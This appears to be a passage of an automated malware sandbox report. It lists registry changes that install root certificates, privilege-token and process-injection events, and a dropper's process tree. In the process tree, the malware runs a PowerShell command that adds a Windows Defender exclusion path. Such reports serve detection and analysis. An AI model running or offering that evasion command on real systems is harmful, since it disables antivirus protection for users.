Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A}\InprocServer32\ThreadingModel = "Apartment"	OneDriveSetup.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Sun19262b9e49ad.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800001900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa20f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349040000000100000010000000497904b0eb8719ac47b0bc11519b74d0200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Sun19262b9e49ad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\47BEABC922EAE80E78783462A79F45C254FDE68B	Sun1917b8fb5f09db8.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\47BEABC922EAE80E78783462A79F45C254FDE68B\Blob = 5c0000000100000004000000000800000f00000001000000200000003560e45b41e46b8f36537025d1d5bc02d9652a10645b0eff69e8b6a52191f335090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080b000000010000005200000047006f00200044006100640064007900200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790020001320200047003200000053000000010000002500000030233021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c062000000010000002000000045140b3247eb9cc8c5b4f0d7b53091f73292089e6e5a63e2749dd3aca9198eda1400000001000000140000003a9a8507106728b6eff6bd05416e20c194da0fde1d000000010000001000000070253fbcbde32a014d38c1993098ad9903000000010000001400000047beabc922eae80e78783462a79f45c254fde68b19000000010000001000000021d008b47b7a2a81c8435903ded424c92000000001000000c9030000308203c5308202ada003020102020100300d06092a864886f70d01010b0500308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bf716208f1fa5934f71bc918a3f7804958e9228313a6c52043013b84f1e685499f27eaf6841b4ea0b4db7098c73201b1053e074eeef4fa4f2f593022e7ab19566be28007fcf316758039517be5f935b6744ea98d8213e4b63fa90383faa2be8a156a7fde0bc3b6191405caeac3a804943b467c320df3006622c88d696d368c1118b7d3b21c60b438fa028cced3dd4607de0a3eeb5d7cc87cfbb02b53a4926269512505611a44818c2ca9439623dfac3a819a0e29c51ca9e95d1eb69e9e300a39cef18880fb4b5dcc32ec85624325340256270191b43b702a3f6eb1e89c88017d9fd4f9db536d609dbf2ce758abb85f46fccec41b033c09eb49315c6946b3e0470203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604143a9a8507106728b6eff6bd05416e20c194da0fde300d06092a864886f70d01010b0500038201010099db5d79d5f99759670361f17e3b0631752da1208e4f6587b4f7a69cbcd8e92fd0db5aeecf748c73b43842da057bf80275b8fda5b1d7aef6d7de13cb53107e8a46d197fab72e2b11ab90b02780f9e89f5ae9379fabe4df6cb385179d3dd9244f799135d65f04eb8083ab9a022db510f4d890c7047340ed7225a0a99fec9eab68129957c68f123a09a4bd44fd061537c19be432a3ed38e8d864f32c7e14fc02ea9fcdff076817db2290382d7a8dd154f169e35f33ca7a3d7b0ae3ca7f5f39e5e275bac5761833ce2cf02f4cadf7b1e7ce4fa8c49b4a5406c57f7dd5080fe21cfe7e17b8ac5ef6d416b243090c4df6a76bb4998465ca7a88e2e244be5cf7ea1cf5	Sun1917b8fb5f09db8.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	installer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	installer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	installer.exe

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	187	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	309	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2284	powershell.exe
2284	powershell.exe
4748	Sun1908b94df837b3158.exe
4748	Sun1908b94df837b3158.exe
2284	powershell.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe
4136	Sun1917b8fb5f09db8.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2636	Explorer.EXE

Suspicious behavior: MapViewOfSection 16 IoCs

pid	Process
4748	Sun1908b94df837b3158.exe
6716	B6srqwApy9H9mq1fCjmNFEFo.exe
8372	MicrosoftEdgeCP.exe
8372	MicrosoftEdgeCP.exe
8372	MicrosoftEdgeCP.exe
8372	MicrosoftEdgeCP.exe
6296	B094.exe
8372	MicrosoftEdgeCP.exe
8372	MicrosoftEdgeCP.exe
9300	MicrosoftEdgeCP.exe
9300	MicrosoftEdgeCP.exe
6956	tghcfsw
1308	MicrosoftEdgeCP.exe
1308	MicrosoftEdgeCP.exe
5496	MicrosoftEdgeCP.exe
5496	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	1540	Sun19262b9e49ad.exe
Token: SeAssignPrimaryTokenPrivilege	1540	Sun19262b9e49ad.exe
Token: SeLockMemoryPrivilege	1540	Sun19262b9e49ad.exe
Token: SeIncreaseQuotaPrivilege	1540	Sun19262b9e49ad.exe
Token: SeMachineAccountPrivilege	1540	Sun19262b9e49ad.exe
Token: SeTcbPrivilege	1540	Sun19262b9e49ad.exe
Token: SeSecurityPrivilege	1540	Sun19262b9e49ad.exe
Token: SeTakeOwnershipPrivilege	1540	Sun19262b9e49ad.exe
Token: SeLoadDriverPrivilege	1540	Sun19262b9e49ad.exe
Token: SeSystemProfilePrivilege	1540	Sun19262b9e49ad.exe
Token: SeSystemtimePrivilege	1540	Sun19262b9e49ad.exe
Token: SeProfSingleProcessPrivilege	1540	Sun19262b9e49ad.exe
Token: SeIncBasePriorityPrivilege	1540	Sun19262b9e49ad.exe
Token: SeCreatePagefilePrivilege	1540	Sun19262b9e49ad.exe
Token: SeCreatePermanentPrivilege	1540	Sun19262b9e49ad.exe
Token: SeBackupPrivilege	1540	Sun19262b9e49ad.exe
Token: SeRestorePrivilege	1540	Sun19262b9e49ad.exe
Token: SeShutdownPrivilege	1540	Sun19262b9e49ad.exe
Token: SeDebugPrivilege	1540	Sun19262b9e49ad.exe
Token: SeAuditPrivilege	1540	Sun19262b9e49ad.exe
Token: SeSystemEnvironmentPrivilege	1540	Sun19262b9e49ad.exe
Token: SeChangeNotifyPrivilege	1540	Sun19262b9e49ad.exe
Token: SeRemoteShutdownPrivilege	1540	Sun19262b9e49ad.exe
Token: SeUndockPrivilege	1540	Sun19262b9e49ad.exe
Token: SeSyncAgentPrivilege	1540	Sun19262b9e49ad.exe
Token: SeEnableDelegationPrivilege	1540	Sun19262b9e49ad.exe
Token: SeManageVolumePrivilege	1540	Sun19262b9e49ad.exe
Token: SeImpersonatePrivilege	1540	Sun19262b9e49ad.exe
Token: SeCreateGlobalPrivilege	1540	Sun19262b9e49ad.exe
Token: 31	1540	Sun19262b9e49ad.exe
Token: 32	1540	Sun19262b9e49ad.exe
Token: 33	1540	Sun19262b9e49ad.exe
Token: 34	1540	Sun19262b9e49ad.exe
Token: 35	1540	Sun19262b9e49ad.exe
Token: SeDebugPrivilege	4880	3002.exe
Token: SeDebugPrivilege	988	Sun19e4ade31b2a.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeDebugPrivilege	920	Sun195a1614ec24e6a.exe
Token: SeDebugPrivilege	4940	Sun198361825f4.exe
Token: SeDebugPrivilege	4760	2.exe
Token: SeDebugPrivilege	3320	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	3968	6331290.scr
Token: SeDebugPrivilege	348	5.exe
Token: SeShutdownPrivilege	2636	Explorer.EXE
Token: SeCreatePagefilePrivilege	2636	Explorer.EXE
Token: SeShutdownPrivilege	2636	Explorer.EXE
Token: SeCreatePagefilePrivilege	2636	Explorer.EXE
Token: SeShutdownPrivilege	2636	Explorer.EXE
Token: SeCreatePagefilePrivilege	2636	Explorer.EXE
Token: SeShutdownPrivilege	2636	Explorer.EXE
Token: SeCreatePagefilePrivilege	2636	Explorer.EXE
Token: SeRestorePrivilege	2784	WerFault.exe
Token: SeBackupPrivilege	2784	WerFault.exe
Token: SeDebugPrivilege	1400	rundll32.exe
Token: SeShutdownPrivilege	2636	Explorer.EXE
Token: SeCreatePagefilePrivilege	2636	Explorer.EXE
Token: SeShutdownPrivilege	2636	Explorer.EXE
Token: SeCreatePagefilePrivilege	2636	Explorer.EXE
Token: SeShutdownPrivilege	2636	Explorer.EXE
Token: SeCreatePagefilePrivilege	2636	Explorer.EXE
Token: SeShutdownPrivilege	2636	Explorer.EXE
Token: SeCreatePagefilePrivilege	2636	Explorer.EXE
Token: SeShutdownPrivilege	2636	Explorer.EXE
Token: SeCreatePagefilePrivilege	2636	Explorer.EXE

Suspicious use of FindShellTrayWindow 16 IoCs

pid	Process
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
8	setup_2.tmp
2636	Explorer.EXE
7064	ultramediaburner.tmp
8876	installer.exe
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
2636	Explorer.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2636	Explorer.EXE
5964	MicrosoftEdge.exe
8372	MicrosoftEdgeCP.exe
8372	MicrosoftEdgeCP.exe
7432	MicrosoftEdge.exe
9300	MicrosoftEdgeCP.exe
9300	MicrosoftEdgeCP.exe
7508	MicrosoftEdge.exe
1308	MicrosoftEdgeCP.exe
1308	MicrosoftEdgeCP.exe
4032	MicrosoftEdge.exe
5496	MicrosoftEdgeCP.exe
5496	MicrosoftEdgeCP.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4228 wrote to memory of 2784	4228	setup_x86_x64_install.exe	76
PID 4228 wrote to memory of 2784	4228	setup_x86_x64_install.exe	76
PID 4228 wrote to memory of 2784	4228	setup_x86_x64_install.exe	76
PID 2784 wrote to memory of 4048	2784	setup_installer.exe	77
PID 2784 wrote to memory of 4048	2784	setup_installer.exe	77
PID 2784 wrote to memory of 4048	2784	setup_installer.exe	77
PID 4048 wrote to memory of 4552	4048	setup_install.exe	80
PID 4048 wrote to memory of 4552	4048	setup_install.exe	80
PID 4048 wrote to memory of 4552	4048	setup_install.exe	80
PID 4048 wrote to memory of 4564	4048	setup_install.exe	81
PID 4048 wrote to memory of 4564	4048	setup_install.exe	81
PID 4048 wrote to memory of 4564	4048	setup_install.exe	81
PID 4048 wrote to memory of 4592	4048	setup_install.exe	82
PID 4048 wrote to memory of 4592	4048	setup_install.exe	82
PID 4048 wrote to memory of 4592	4048	setup_install.exe	82
PID 4048 wrote to memory of 780	4048	setup_install.exe	83
PID 4048 wrote to memory of 780	4048	setup_install.exe	83
PID 4048 wrote to memory of 780	4048	setup_install.exe	83
PID 4048 wrote to memory of 1284	4048	setup_install.exe	84
PID 4048 wrote to memory of 1284	4048	setup_install.exe	84
PID 4048 wrote to memory of 1284	4048	setup_install.exe	84
PID 4048 wrote to memory of 4476	4048	setup_install.exe	85
PID 4048 wrote to memory of 4476	4048	setup_install.exe	85
PID 4048 wrote to memory of 4476	4048	setup_install.exe	85
PID 4048 wrote to memory of 4508	4048	setup_install.exe	86
PID 4048 wrote to memory of 4508	4048	setup_install.exe	86
PID 4048 wrote to memory of 4508	4048	setup_install.exe	86
PID 4048 wrote to memory of 3292	4048	setup_install.exe	87
PID 4048 wrote to memory of 3292	4048	setup_install.exe	87
PID 4048 wrote to memory of 3292	4048	setup_install.exe	87
PID 4048 wrote to memory of 2204	4048	setup_install.exe	88
PID 4048 wrote to memory of 2204	4048	setup_install.exe	88
PID 4048 wrote to memory of 2204	4048	setup_install.exe	88
PID 4048 wrote to memory of 2100	4048	setup_install.exe	94
PID 4048 wrote to memory of 2100	4048	setup_install.exe	94
PID 4048 wrote to memory of 2100	4048	setup_install.exe	94
PID 4552 wrote to memory of 2284	4552	cmd.exe	89
PID 4552 wrote to memory of 2284	4552	cmd.exe	89
PID 4552 wrote to memory of 2284	4552	cmd.exe	89
PID 4592 wrote to memory of 1540	4592	cmd.exe	93
PID 4592 wrote to memory of 1540	4592	cmd.exe	93
PID 4592 wrote to memory of 1540	4592	cmd.exe	93
PID 4048 wrote to memory of 4164	4048	setup_install.exe	92
PID 4048 wrote to memory of 4164	4048	setup_install.exe	92
PID 4048 wrote to memory of 4164	4048	setup_install.exe	92
PID 780 wrote to memory of 4388	780	cmd.exe	90
PID 780 wrote to memory of 4388	780	cmd.exe	90
PID 4048 wrote to memory of 2264	4048	setup_install.exe	91
PID 4048 wrote to memory of 2264	4048	setup_install.exe	91
PID 4048 wrote to memory of 2264	4048	setup_install.exe	91
PID 1284 wrote to memory of 988	1284	cmd.exe	105
PID 1284 wrote to memory of 988	1284	cmd.exe	105
PID 4564 wrote to memory of 4136	4564	cmd.exe	103
PID 4564 wrote to memory of 4136	4564	cmd.exe	103
PID 4564 wrote to memory of 4136	4564	cmd.exe	103
PID 4164 wrote to memory of 4712	4164	cmd.exe	104
PID 4164 wrote to memory of 4712	4164	cmd.exe	104
PID 4164 wrote to memory of 4712	4164	cmd.exe	104
PID 4476 wrote to memory of 4748	4476	cmd.exe	102
PID 4476 wrote to memory of 4748	4476	cmd.exe	102
PID 4476 wrote to memory of 4748	4476	cmd.exe	102
PID 4048 wrote to memory of 4024	4048	setup_install.exe	95
PID 4048 wrote to memory of 4024	4048	setup_install.exe	95
PID 4048 wrote to memory of 4024	4048	setup_install.exe	95

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
- Suspicious use of SetThreadContext
PID:2788
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k SystemNetworkService
  2⤵
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:5388
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k SystemNetworkService
  2⤵
  PID:5816
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 5816 -s 492
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    - Program crash
    PID:5028

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Drops file in Windows directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:2636
- C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4228
- - C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2784
  - - C:\Users\Admin\AppData\Local\Temp\7zS0EAFE971\setup_install.exe
      "C:\Users\Admin\AppData\Local\Temp\7zS0EAFE971\setup_install.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:4048
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4552
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2284
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun1917b8fb5f09db8.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4564
      - C:\Users\Admin\AppData\Local\Temp\7zS0EAFE971\Sun1917b8fb5f09db8.exe
        
        Sun1917b8fb5f09db8.exe
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:4136
        
        C:\Users\Admin\Documents\xp8HI_bx8rPBYFlZRfG1vMN3.exe
        
        "C:\Users\Admin\Documents\xp8HI_bx8rPBYFlZRfG1vMN3.exe"
        7⤵
        Executes dropped EXE
        
        PID:3524
        
        C:\Users\Admin\Documents\2lzrdpLz3EwEV8Dc9XpMntEo.exe
        
        "C:\Users\Admin\Documents\2lzrdpLz3EwEV8Dc9XpMntEo.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5732
        
        C:\Users\Admin\Documents\RGqHgGnaMbL0px6v6Tzt7OjM.exe
        
